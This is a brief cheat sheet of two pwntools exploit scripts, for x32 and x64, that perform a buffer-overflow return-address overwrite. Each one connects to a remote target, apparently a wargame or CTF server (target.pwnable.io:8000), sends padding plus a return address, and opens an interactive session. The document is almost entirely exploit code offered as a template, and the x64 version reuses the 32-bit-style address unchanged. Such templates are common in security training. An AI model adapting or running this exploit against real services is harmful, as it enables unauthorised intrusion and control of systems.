Buffer Overflow Attack
pwntools for Return Address Overwrite(x32)
from pwn import *
p = remote('target.pwnable.io', 8000)
dummy = b'A' * 20
sfp = b'B' * 4
ret = p32(0x08048087)
payload = dummy + sfp + ret
p.recvuntil('input: ')
p.send(payload)
p.interactive()
pwntools for Return Address Overwrite(x64)
from pwn import *
p = remote('target.pwnable.io', 8000)
dummy = b'A' * 20
sfp = b'B' * 8
ret = p64(0x08048087)
payload = dummy + sfp + ret
p.recvuntil('input: ')
p.send(payload)
p.interactive()